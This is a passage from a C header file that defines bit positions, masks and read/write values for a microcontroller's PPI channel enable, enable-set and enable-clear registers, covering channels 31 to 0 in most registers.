#define PPI_CHEN_CH3_Enabled (1UL) /*!< Enable channel */
/* Bit 2 : Enable or disable channel 2 */
#define PPI_CHEN_CH2_Pos (2UL) /*!< Position of CH2 field. */
#define PPI_CHEN_CH2_Msk (0x1UL << PPI_CHEN_CH2_Pos) /*!< Bit mask of CH2 field. */
#define PPI_CHEN_CH2_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH2_Enabled (1UL) /*!< Enable channel */
/* Bit 1 : Enable or disable channel 1 */
#define PPI_CHEN_CH1_Pos (1UL) /*!< Position of CH1 field. */
#define PPI_CHEN_CH1_Msk (0x1UL << PPI_CHEN_CH1_Pos) /*!< Bit mask of CH1 field. */
#define PPI_CHEN_CH1_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH1_Enabled (1UL) /*!< Enable channel */
/* Bit 0 : Enable or disable channel 0 */
#define PPI_CHEN_CH0_Pos (0UL) /*!< Position of CH0 field. */
#define PPI_CHEN_CH0_Msk (0x1UL << PPI_CHEN_CH0_Pos) /*!< Bit mask of CH0 field. */
#define PPI_CHEN_CH0_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH0_Enabled (1UL) /*!< Enable channel */
/* Register: PPI_CHENSET */
/* Description: Channel enable set register */
/* Bit 31 : Channel 31 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH31_Pos (31UL) /*!< Position of CH31 field. */
#define PPI_CHENSET_CH31_Msk (0x1UL << PPI_CHENSET_CH31_Pos) /*!< Bit mask of CH31 field. */
#define PPI_CHENSET_CH31_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH31_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH31_Set (1UL) /*!< Write: Enable channel */
/* Bit 30 : Channel 30 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH30_Pos (30UL) /*!< Position of CH30 field. */
#define PPI_CHENSET_CH30_Msk (0x1UL << PPI_CHENSET_CH30_Pos) /*!< Bit mask of CH30 field. */
#define PPI_CHENSET_CH30_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH30_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH30_Set (1UL) /*!< Write: Enable channel */
/* Bit 29 : Channel 29 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH29_Pos (29UL) /*!< Position of CH29 field. */
#define PPI_CHENSET_CH29_Msk (0x1UL << PPI_CHENSET_CH29_Pos) /*!< Bit mask of CH29 field. */
#define PPI_CHENSET_CH29_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH29_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH29_Set (1UL) /*!< Write: Enable channel */
/* Bit 28 : Channel 28 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH28_Pos (28UL) /*!< Position of CH28 field. */
#define PPI_CHENSET_CH28_Msk (0x1UL << PPI_CHENSET_CH28_Pos) /*!< Bit mask of CH28 field. */
#define PPI_CHENSET_CH28_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH28_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH28_Set (1UL) /*!< Write: Enable channel */
/* Bit 27 : Channel 27 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH27_Pos (27UL) /*!< Position of CH27 field. */
#define PPI_CHENSET_CH27_Msk (0x1UL << PPI_CHENSET_CH27_Pos) /*!< Bit mask of CH27 field. */
#define PPI_CHENSET_CH27_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH27_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH27_Set (1UL) /*!< Write: Enable channel */
/* Bit 26 : Channel 26 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH26_Pos (26UL) /*!< Position of CH26 field. */
#define PPI_CHENSET_CH26_Msk (0x1UL << PPI_CHENSET_CH26_Pos) /*!< Bit mask of CH26 field. */
#define PPI_CHENSET_CH26_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH26_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH26_Set (1UL) /*!< Write: Enable channel */
/* Bit 25 : Channel 25 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH25_Pos (25UL) /*!< Position of CH25 field. */
#define PPI_CHENSET_CH25_Msk (0x1UL << PPI_CHENSET_CH25_Pos) /*!< Bit mask of CH25 field. */
#define PPI_CHENSET_CH25_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH25_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH25_Set (1UL) /*!< Write: Enable channel */
/* Bit 24 : Channel 24 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH24_Pos (24UL) /*!< Position of CH24 field. */
#define PPI_CHENSET_CH24_Msk (0x1UL << PPI_CHENSET_CH24_Pos) /*!< Bit mask of CH24 field. */
#define PPI_CHENSET_CH24_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH24_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH24_Set (1UL) /*!< Write: Enable channel */
/* Bit 23 : Channel 23 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH23_Pos (23UL) /*!< Position of CH23 field. */
#define PPI_CHENSET_CH23_Msk (0x1UL << PPI_CHENSET_CH23_Pos) /*!< Bit mask of CH23 field. */
#define PPI_CHENSET_CH23_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH23_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH23_Set (1UL) /*!< Write: Enable channel */
/* Bit 22 : Channel 22 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH22_Pos (22UL) /*!< Position of CH22 field. */
#define PPI_CHENSET_CH22_Msk (0x1UL << PPI_CHENSET_CH22_Pos) /*!< Bit mask of CH22 field. */
#define PPI_CHENSET_CH22_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH22_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH22_Set (1UL) /*!< Write: Enable channel */
/* Bit 21 : Channel 21 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH21_Pos (21UL) /*!< Position of CH21 field. */
#define PPI_CHENSET_CH21_Msk (0x1UL << PPI_CHENSET_CH21_Pos) /*!< Bit mask of CH21 field. */
#define PPI_CHENSET_CH21_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH21_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH21_Set (1UL) /*!< Write: Enable channel */
/* Bit 20 : Channel 20 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH20_Pos (20UL) /*!< Position of CH20 field. */
#define PPI_CHENSET_CH20_Msk (0x1UL << PPI_CHENSET_CH20_Pos) /*!< Bit mask of CH20 field. */
#define PPI_CHENSET_CH20_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH20_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH20_Set (1UL) /*!< Write: Enable channel */
/* Bit 19 : Channel 19 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH19_Pos (19UL) /*!< Position of CH19 field. */
#define PPI_CHENSET_CH19_Msk (0x1UL << PPI_CHENSET_CH19_Pos) /*!< Bit mask of CH19 field. */
#define PPI_CHENSET_CH19_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH19_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH19_Set (1UL) /*!< Write: Enable channel */
/* Bit 18 : Channel 18 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH18_Pos (18UL) /*!< Position of CH18 field. */
#define PPI_CHENSET_CH18_Msk (0x1UL << PPI_CHENSET_CH18_Pos) /*!< Bit mask of CH18 field. */
#define PPI_CHENSET_CH18_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH18_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH18_Set (1UL) /*!< Write: Enable channel */
/* Bit 17 : Channel 17 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH17_Pos (17UL) /*!< Position of CH17 field. */
#define PPI_CHENSET_CH17_Msk (0x1UL << PPI_CHENSET_CH17_Pos) /*!< Bit mask of CH17 field. */
#define PPI_CHENSET_CH17_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH17_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH17_Set (1UL) /*!< Write: Enable channel */
/* Bit 16 : Channel 16 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH16_Pos (16UL) /*!< Position of CH16 field. */
#define PPI_CHENSET_CH16_Msk (0x1UL << PPI_CHENSET_CH16_Pos) /*!< Bit mask of CH16 field. */
#define PPI_CHENSET_CH16_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH16_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH16_Set (1UL) /*!< Write: Enable channel */
/* Bit 15 : Channel 15 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH15_Pos (15UL) /*!< Position of CH15 field. */
#define PPI_CHENSET_CH15_Msk (0x1UL << PPI_CHENSET_CH15_Pos) /*!< Bit mask of CH15 field. */
#define PPI_CHENSET_CH15_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH15_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH15_Set (1UL) /*!< Write: Enable channel */
/* Bit 14 : Channel 14 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH14_Pos (14UL) /*!< Position of CH14 field. */
#define PPI_CHENSET_CH14_Msk (0x1UL << PPI_CHENSET_CH14_Pos) /*!< Bit mask of CH14 field. */
#define PPI_CHENSET_CH14_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH14_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH14_Set (1UL) /*!< Write: Enable channel */
/* Bit 13 : Channel 13 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH13_Pos (13UL) /*!< Position of CH13 field. */
#define PPI_CHENSET_CH13_Msk (0x1UL << PPI_CHENSET_CH13_Pos) /*!< Bit mask of CH13 field. */
#define PPI_CHENSET_CH13_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH13_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH13_Set (1UL) /*!< Write: Enable channel */
/* Bit 12 : Channel 12 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH12_Pos (12UL) /*!< Position of CH12 field. */
#define PPI_CHENSET_CH12_Msk (0x1UL << PPI_CHENSET_CH12_Pos) /*!< Bit mask of CH12 field. */
#define PPI_CHENSET_CH12_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH12_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH12_Set (1UL) /*!< Write: Enable channel */
/* Bit 11 : Channel 11 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH11_Pos (11UL) /*!< Position of CH11 field. */
#define PPI_CHENSET_CH11_Msk (0x1UL << PPI_CHENSET_CH11_Pos) /*!< Bit mask of CH11 field. */
#define PPI_CHENSET_CH11_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH11_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH11_Set (1UL) /*!< Write: Enable channel */
/* Bit 10 : Channel 10 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH10_Pos (10UL) /*!< Position of CH10 field. */
#define PPI_CHENSET_CH10_Msk (0x1UL << PPI_CHENSET_CH10_Pos) /*!< Bit mask of CH10 field. */
#define PPI_CHENSET_CH10_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH10_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH10_Set (1UL) /*!< Write: Enable channel */
/* Bit 9 : Channel 9 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH9_Pos (9UL) /*!< Position of CH9 field. */
#define PPI_CHENSET_CH9_Msk (0x1UL << PPI_CHENSET_CH9_Pos) /*!< Bit mask of CH9 field. */
#define PPI_CHENSET_CH9_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH9_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH9_Set (1UL) /*!< Write: Enable channel */
/* Bit 8 : Channel 8 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH8_Pos (8UL) /*!< Position of CH8 field. */
#define PPI_CHENSET_CH8_Msk (0x1UL << PPI_CHENSET_CH8_Pos) /*!< Bit mask of CH8 field. */
#define PPI_CHENSET_CH8_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH8_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH8_Set (1UL) /*!< Write: Enable channel */
/* Bit 7 : Channel 7 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH7_Pos (7UL) /*!< Position of CH7 field. */
#define PPI_CHENSET_CH7_Msk (0x1UL << PPI_CHENSET_CH7_Pos) /*!< Bit mask of CH7 field. */
#define PPI_CHENSET_CH7_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH7_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH7_Set (1UL) /*!< Write: Enable channel */
/* Bit 6 : Channel 6 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH6_Pos (6UL) /*!< Position of CH6 field. */
#define PPI_CHENSET_CH6_Msk (0x1UL << PPI_CHENSET_CH6_Pos) /*!< Bit mask of CH6 field. */
#define PPI_CHENSET_CH6_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH6_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH6_Set (1UL) /*!< Write: Enable channel */
/* Bit 5 : Channel 5 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH5_Pos (5UL) /*!< Position of CH5 field. */
#define PPI_CHENSET_CH5_Msk (0x1UL << PPI_CHENSET_CH5_Pos) /*!< Bit mask of CH5 field. */
#define PPI_CHENSET_CH5_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH5_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH5_Set (1UL) /*!< Write: Enable channel */
/* Bit 4 : Channel 4 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH4_Pos (4UL) /*!< Position of CH4 field. */
#define PPI_CHENSET_CH4_Msk (0x1UL << PPI_CHENSET_CH4_Pos) /*!< Bit mask of CH4 field. */
#define PPI_CHENSET_CH4_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH4_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH4_Set (1UL) /*!< Write: Enable channel */
/* Bit 3 : Channel 3 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH3_Pos (3UL) /*!< Position of CH3 field. */
#define PPI_CHENSET_CH3_Msk (0x1UL << PPI_CHENSET_CH3_Pos) /*!< Bit mask of CH3 field. */
#define PPI_CHENSET_CH3_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH3_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH3_Set (1UL) /*!< Write: Enable channel */
/* Bit 2 : Channel 2 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH2_Pos (2UL) /*!< Position of CH2 field. */
#define PPI_CHENSET_CH2_Msk (0x1UL << PPI_CHENSET_CH2_Pos) /*!< Bit mask of CH2 field. */
#define PPI_CHENSET_CH2_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH2_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH2_Set (1UL) /*!< Write: Enable channel */
/* Bit 1 : Channel 1 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH1_Pos (1UL) /*!< Position of CH1 field. */
#define PPI_CHENSET_CH1_Msk (0x1UL << PPI_CHENSET_CH1_Pos) /*!< Bit mask of CH1 field. */
#define PPI_CHENSET_CH1_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH1_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH1_Set (1UL) /*!< Write: Enable channel */
/* Bit 0 : Channel 0 enable set register. Writing '0' has no effect */
#define PPI_CHENSET_CH0_Pos (0UL) /*!< Position of CH0 field. */
#define PPI_CHENSET_CH0_Msk (0x1UL << PPI_CHENSET_CH0_Pos) /*!< Bit mask of CH0 field. */
#define PPI_CHENSET_CH0_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENSET_CH0_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENSET_CH0_Set (1UL) /*!< Write: Enable channel */
/* Register: PPI_CHENCLR */
/* Description: Channel enable clear register */
/* Bit 31 : Channel 31 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH31_Pos (31UL) /*!< Position of CH31 field. */
#define PPI_CHENCLR_CH31_Msk (0x1UL << PPI_CHENCLR_CH31_Pos) /*!< Bit mask of CH31 field. */
#define PPI_CHENCLR_CH31_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH31_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH31_Clear (1UL) /*!< Write: disable channel */
/* Bit 30 : Channel 30 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH30_Pos (30UL) /*!< Position of CH30 field. */
#define PPI_CHENCLR_CH30_Msk (0x1UL << PPI_CHENCLR_CH30_Pos) /*!< Bit mask of CH30 field. */
#define PPI_CHENCLR_CH30_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH30_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH30_Clear (1UL) /*!< Write: disable channel */
/* Bit 29 : Channel 29 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH29_Pos (29UL) /*!< Position of CH29 field. */
#define PPI_CHENCLR_CH29_Msk (0x1UL << PPI_CHENCLR_CH29_Pos) /*!< Bit mask of CH29 field. */
#define PPI_CHENCLR_CH29_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH29_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH29_Clear (1UL) /*!< Write: disable channel */
/* Bit 28 : Channel 28 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH28_Pos (28UL) /*!< Position of CH28 field. */
#define PPI_CHENCLR_CH28_Msk (0x1UL << PPI_CHENCLR_CH28_Pos) /*!< Bit mask of CH28 field. */
#define PPI_CHENCLR_CH28_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH28_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH28_Clear (1UL) /*!< Write: disable channel */
/* Bit 27 : Channel 27 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH27_Pos (27UL) /*!< Position of CH27 field. */
#define PPI_CHENCLR_CH27_Msk (0x1UL << PPI_CHENCLR_CH27_Pos) /*!< Bit mask of CH27 field. */
#define PPI_CHENCLR_CH27_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH27_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH27_Clear (1UL) /*!< Write: disable channel */
/* Bit 26 : Channel 26 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH26_Pos (26UL) /*!< Position of CH26 field. */
#define PPI_CHENCLR_CH26_Msk (0x1UL << PPI_CHENCLR_CH26_Pos) /*!< Bit mask of CH26 field. */
#define PPI_CHENCLR_CH26_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH26_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH26_Clear (1UL) /*!< Write: disable channel */
/* Bit 25 : Channel 25 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH25_Pos (25UL) /*!< Position of CH25 field. */
#define PPI_CHENCLR_CH25_Msk (0x1UL << PPI_CHENCLR_CH25_Pos) /*!< Bit mask of CH25 field. */
#define PPI_CHENCLR_CH25_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH25_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH25_Clear (1UL) /*!< Write: disable channel */
/* Bit 24 : Channel 24 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH24_Pos (24UL) /*!< Position of CH24 field. */
#define PPI_CHENCLR_CH24_Msk (0x1UL << PPI_CHENCLR_CH24_Pos) /*!< Bit mask of CH24 field. */
#define PPI_CHENCLR_CH24_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH24_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH24_Clear (1UL) /*!< Write: disable channel */
/* Bit 23 : Channel 23 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH23_Pos (23UL) /*!< Position of CH23 field. */
#define PPI_CHENCLR_CH23_Msk (0x1UL << PPI_CHENCLR_CH23_Pos) /*!< Bit mask of CH23 field. */
#define PPI_CHENCLR_CH23_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH23_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH23_Clear (1UL) /*!< Write: disable channel */
/* Bit 22 : Channel 22 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH22_Pos (22UL) /*!< Position of CH22 field. */
#define PPI_CHENCLR_CH22_Msk (0x1UL << PPI_CHENCLR_CH22_Pos) /*!< Bit mask of CH22 field. */
#define PPI_CHENCLR_CH22_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH22_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH22_Clear (1UL) /*!< Write: disable channel */
/* Bit 21 : Channel 21 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH21_Pos (21UL) /*!< Position of CH21 field. */
#define PPI_CHENCLR_CH21_Msk (0x1UL << PPI_CHENCLR_CH21_Pos) /*!< Bit mask of CH21 field. */
#define PPI_CHENCLR_CH21_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH21_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH21_Clear (1UL) /*!< Write: disable channel */
/* Bit 20 : Channel 20 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH20_Pos (20UL) /*!< Position of CH20 field. */
#define PPI_CHENCLR_CH20_Msk (0x1UL << PPI_CHENCLR_CH20_Pos) /*!< Bit mask of CH20 field. */
#define PPI_CHENCLR_CH20_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH20_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH20_Clear (1UL) /*!< Write: disable channel */
/* Bit 19 : Channel 19 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH19_Pos (19UL) /*!< Position of CH19 field. */
#define PPI_CHENCLR_CH19_Msk (0x1UL << PPI_CHENCLR_CH19_Pos) /*!< Bit mask of CH19 field. */
#define PPI_CHENCLR_CH19_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH19_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH19_Clear (1UL) /*!< Write: disable channel */
/* Bit 18 : Channel 18 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH18_Pos (18UL) /*!< Position of CH18 field. */
#define PPI_CHENCLR_CH18_Msk (0x1UL << PPI_CHENCLR_CH18_Pos) /*!< Bit mask of CH18 field. */
#define PPI_CHENCLR_CH18_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH18_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH18_Clear (1UL) /*!< Write: disable channel */
/* Bit 17 : Channel 17 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH17_Pos (17UL) /*!< Position of CH17 field. */
#define PPI_CHENCLR_CH17_Msk (0x1UL << PPI_CHENCLR_CH17_Pos) /*!< Bit mask of CH17 field. */
#define PPI_CHENCLR_CH17_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH17_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH17_Clear (1UL) /*!< Write: disable channel */
/* Bit 16 : Channel 16 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH16_Pos (16UL) /*!< Position of CH16 field. */
#define PPI_CHENCLR_CH16_Msk (0x1UL << PPI_CHENCLR_CH16_Pos) /*!< Bit mask of CH16 field. */
#define PPI_CHENCLR_CH16_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH16_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH16_Clear (1UL) /*!< Write: disable channel */
/* Bit 15 : Channel 15 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH15_Pos (15UL) /*!< Position of CH15 field. */
#define PPI_CHENCLR_CH15_Msk (0x1UL << PPI_CHENCLR_CH15_Pos) /*!< Bit mask of CH15 field. */
#define PPI_CHENCLR_CH15_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH15_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH15_Clear (1UL) /*!< Write: disable channel */
/* Bit 14 : Channel 14 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH14_Pos (14UL) /*!< Position of CH14 field. */
#define PPI_CHENCLR_CH14_Msk (0x1UL << PPI_CHENCLR_CH14_Pos) /*!< Bit mask of CH14 field. */
#define PPI_CHENCLR_CH14_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH14_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH14_Clear (1UL) /*!< Write: disable channel */
/* Bit 13 : Channel 13 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH13_Pos (13UL) /*!< Position of CH13 field. */
#define PPI_CHENCLR_CH13_Msk (0x1UL << PPI_CHENCLR_CH13_Pos) /*!< Bit mask of CH13 field. */
#define PPI_CHENCLR_CH13_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH13_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH13_Clear (1UL) /*!< Write: disable channel */
/* Bit 12 : Channel 12 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH12_Pos (12UL) /*!< Position of CH12 field. */
#define PPI_CHENCLR_CH12_Msk (0x1UL << PPI_CHENCLR_CH12_Pos) /*!< Bit mask of CH12 field. */
#define PPI_CHENCLR_CH12_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH12_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH12_Clear (1UL) /*!< Write: disable channel */
/* Bit 11 : Channel 11 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH11_Pos (11UL) /*!< Position of CH11 field. */
#define PPI_CHENCLR_CH11_Msk (0x1UL << PPI_CHENCLR_CH11_Pos) /*!< Bit mask of CH11 field. */
#define PPI_CHENCLR_CH11_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH11_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH11_Clear (1UL) /*!< Write: disable channel */
/* Bit 10 : Channel 10 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH10_Pos (10UL) /*!< Position of CH10 field. */
#define PPI_CHENCLR_CH10_Msk (0x1UL << PPI_CHENCLR_CH10_Pos) /*!< Bit mask of CH10 field. */
#define PPI_CHENCLR_CH10_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH10_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH10_Clear (1UL) /*!< Write: disable channel */
/* Bit 9 : Channel 9 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH9_Pos (9UL) /*!< Position of CH9 field. */
#define PPI_CHENCLR_CH9_Msk (0x1UL << PPI_CHENCLR_CH9_Pos) /*!< Bit mask of CH9 field. */
#define PPI_CHENCLR_CH9_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH9_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH9_Clear (1UL) /*!< Write: disable channel */
/* Bit 8 : Channel 8 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH8_Pos (8UL) /*!< Position of CH8 field. */
#define PPI_CHENCLR_CH8_Msk (0x1UL << PPI_CHENCLR_CH8_Pos) /*!< Bit mask of CH8 field. */
#define PPI_CHENCLR_CH8_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH8_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH8_Clear (1UL) /*!< Write: disable channel */
/* Bit 7 : Channel 7 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH7_Pos (7UL) /*!< Position of CH7 field. */
#define PPI_CHENCLR_CH7_Msk (0x1UL << PPI_CHENCLR_CH7_Pos) /*!< Bit mask of CH7 field. */
#define PPI_CHENCLR_CH7_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH7_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH7_Clear (1UL) /*!< Write: disable channel */
